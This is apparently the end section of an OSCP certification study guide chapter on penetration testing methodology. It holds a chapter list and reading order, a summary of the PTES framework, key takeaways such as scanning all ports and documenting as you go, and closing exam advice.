07 Privilege Escalation (Windows) Service exploits, token impersonation, and Windows privesc
08 Active Directory Attacks Domain enumeration, Kerberoasting, and DCSync
09 Password Attacks John, Hashcat, Hydra, and credential cracking
10 Post-Exploitation Pivoting, lateral movement, and credential dumping
12 Report Writing Detailed report structure and writing guidelines
13 Exam Strategy Time management, mental preparation, and exam-day tips
1. This topic (Penetration Testing Methodology) -- READ FIRST
2. Information Gathering (Chapter 02)
3. Vulnerability Scanning (Chapter 03)
4. Web Application Attacks (Chapter 04)
5. Exploitation Techniques (Chapter 05)
6. Privilege Escalation - Linux (Chapter 06)
7. Privilege Escalation - Windows (Chapter 07)
8. Password Attacks (Chapter 09)
9. Post-Exploitation (Chapter 10)
10. Active Directory Attacks (Chapter 08) -- if AD-focused
11. Report Writing (Chapter 12)
12. Exam Strategy (Chapter 13) -- READ BEFORE EXAM

Summary

Penetration testing methodology is the backbone of successful OSCP preparation. The PTES framework provides a structured approach that ensures:

  1. Systematic coverage of all attack surfaces
  2. Efficient time management during the exam
  3. Complete documentation for the report
  4. Reproducible results across different targets

Key Takeaways

  • Always scan all ports (nmap -p-)
  • Enumerate every open service thoroughly
  • Web applications are the #1 attack surface
  • Document as you go – never wait until the end
  • Use the 2-hour rule to avoid getting stuck
  • Collect all required proofs before moving on
  • Practice the methodology on lab machines repeatedly

Final Words

The OSCP exam rewards methodical, disciplined hackers over those who rely on luck or isolated skills. Master this methodology, practice it repeatedly, and you will be well-prepared for the exam.

“The difference between a script kiddie and a professional penetration tester is not the tools they use – it’s the methodology they follow.”